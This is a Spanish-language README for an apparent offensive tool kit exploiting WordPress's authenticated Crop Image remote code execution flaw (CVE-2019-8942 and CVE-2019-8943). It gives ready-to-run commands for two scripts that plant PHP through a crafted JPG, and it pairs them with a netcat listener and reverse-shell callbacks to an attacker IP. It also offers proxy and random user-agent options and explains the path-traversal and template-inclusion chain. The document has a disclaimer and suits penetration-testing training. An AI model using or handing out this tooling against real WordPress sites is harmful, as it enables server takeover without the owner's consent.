Kit de explotación en Python para RCE de Crop Image en WordPress — CVE-2019-8942 y CVE-2019-8943
Implementación en Python3 de la cadena de explotación autenticada de recorte de imagen de WordPress. El repositorio está organizado alrededor de dos flujos de trabajo independientes: un script manual estilo OSCP y un script completamente automatizado con un manejador de reverse shell integrado.
Utilícelo solo en laboratorios autorizados, CTFs, plataformas de formación o sistemas donde tenga permiso explícito para realizar pruebas.
La cadena de explotación apunta a las vulnerabilidades registradas como:
CVE-2019-8942CVE-2019-8943El módulo público de Metasploit para esta vulnerabilidad describe las versiones afectadas como:
WordPress 5.0.0 and WordPress <= 4.9.8
Se requiere una cuenta válida de WordPress con permisos de subida/edición de medios. En muchos entornos de laboratorio, un usuario de nivel Autor es suficiente.
.
├── autoexploit.py
├── exploit_oscp.py
├── image.jpg
├── README.md
└── requirements.txt
image.jpg es el portador JPG predeterminado usado por el script estilo OSCP. Está incluido para que el flujo de trabajo manual funcione desde el primer momento sin tener que buscar una imagen aleatoria.
autoexploit.py es autónomo e incluye su propio portador JPG hexadecimal internamente, pero también puede aceptar un JPG personalizado con -i.
python3 -m pip install -r requirements.txt
El único paquete de Python requerido es:
requests
Si desea soporte para proxy SOCKS, instale requests con las extensiones SOCKS en su entorno:
python3 -m pip install 'requests[socks]'
| Script | Ideal para | Manejo de imagen | Manejo de shell |
|---|---|---|---|
exploit_oscp.py | Explotación manual/estilo OSCP | Usa image.jpg por defecto, o -i custom.jpg | Usted inicia nc manualmente |
autoexploit.py | Uso rápido en laboratorios y pruebas repetitivas | Usa un JPG hex incrustado por defecto, o -i custom.jpg | Inicia el listener, desencadena callbacks y abre una consola interactiva |
Ambos scripts son independientes. Ninguno importa código del otro.
exploit_oscp.py mantiene el flujo de trabajo explícito. Prepara el portador de imagen, realiza la cadena de explotación autenticada de WordPress, confirma la ejecución de comandos y desencadena una reverse shell hacia el listener que usted inició manualmente.
No inicia un manejador automáticamente y no utiliza Metasploit, Meterpreter ni msfvenom.
Inicie primero su listener:
nc -lvnp 443
Ejecute el exploit usando la imagen image.jpg por defecto:
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./custom.jpg --lhost 10.10.14.8 --lport 443
| Opción | Requerido | Por defecto | Significado |
|---|---|---|---|
-t, --target | Sí | Ninguno | URL base de WordPress objetivo, por ejemplo http://target.local/ |
-u, --username | Sí | Ninguno | Nombre de usuario de WordPress |
-p, --password | Sí | Ninguno | Contraseña de WordPress |
-i, --image | No | image.jpg | Portador JPG a preparar y subir |
--lhost | Sí | Ninguno | Su IP de callback, normalmente su IP VPN/tun0 |
--lport | Sí | Ninguno | Puerto donde su listener manual está esperando |
--proxy | No | Ninguno | URL del proxy, por ejemplo http://127.0.0.1:8080 o socks5://127.0.0.1:9050 |
--user-agent | No | Incorporado | Cabecera User-Agent personalizada |
--random-user-agent | No | Deshabilitado | Usar un User-Agent aleatorio similar al de un navegador |
--timeout | No | 20 | Timeout HTTP en segundos |
--debug | No | Deshabilitado | Imprimir salida de depuración HTTP y guardar respuestas fallidas útiles |
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./image.jpg --lhost 10.10.14.8 --lport 443 --proxy http://127.0.0.1:8080
autoexploit.py está diseñado para velocidad. Puede ejecutarse solo con las credenciales del objetivo e intentará seleccionar automáticamente la IP de callback y el puerto del listener.
Realiza el flujo completo de explotación, inicia un listener local, prueba múltiples estilos de payload de reverse shell y abre una consola interactiva más limpia con mensajes de estado local coloreados y manejo silencioso de actualización de TTY.
python3 autoexploit.py -t http://target.local/ -u username -p password
python3 autoexploit.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
python3 autoexploit.py -t http://target.local/ -u username -p password -i ./image.jpg --proxy http://127.0.0.1:8080
| Opción | Requerido | Por defecto | Significado |
|---|---|---|---|
-t, --target | Sí | Ninguno | URL base de WordPress objetivo |
-u, --username | Sí | Ninguno | Nombre de usuario de WordPress |
-p, --password | Sí | Ninguno | Contraseña de WordPress |
-i, --image | No | JPG hex incrustado | Portador JPG personalizado opcional |
--lhost | No | Auto-detectado | IP de callback usada por la reverse shell |
--lport | No | Puerto local libre | Puerto del listener local |
--listen-timeout | No | 12 | Segundos a esperar por cada intento de reverse shell |
--proxy | No | Ninguno | URL del proxy, por ejemplo http://127.0.0.1:8080 o socks5://127.0.0.1:9050 |
--user-agent | No | Incorporado | Cabecera User-Agent personalizada |
--random-user-agent | No | Deshabilitado | Usar un User-Agent aleatorio similar al de un navegador |
--timeout | No | 20 | Timeout HTTP en segundos |
--debug | No | Deshabilitado | Imprimir salida de depuración HTTP y guardar respuestas fallidas útiles |
Proxy HTTP a través de Burp:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
Proxy SOCKS:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy socks5://127.0.0.1:9050
User-Agent personalizado:
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --user-agent "Mozilla/5.0 Custom"
User-Agent aleatorio:
python3 autoexploit.py -t http://target.local/ -u username -p password --random-user-agent
Esto no es una subida PHP normal. WordPress espera contenido de imagen, procesa el archivo a través del editor de medios y crea una imagen recortada. La cadena de explotación luego abusa de los metadatos del adjunto y la travesía de rutas para colocar una imagen recortada dentro del directorio del tema activo. Finalmente, el archivo recortado se referencia como una plantilla de página para que WordPress lo incluya como PHP.
Un JPG aleatorio con PHP colocado en metadatos EXIF frágiles puede fallar porque GD puede eliminar o recodificar los metadatos durante el procesamiento del recorte. Este repositorio mantiene el flujo de trabajo claro:
exploit_oscp.py usa la imagen image.jpg incluida por defecto o una imagen personalizada pasada con -i.autoexploit.py contiene un portador hexadecimal interno para mantenerse autónomo.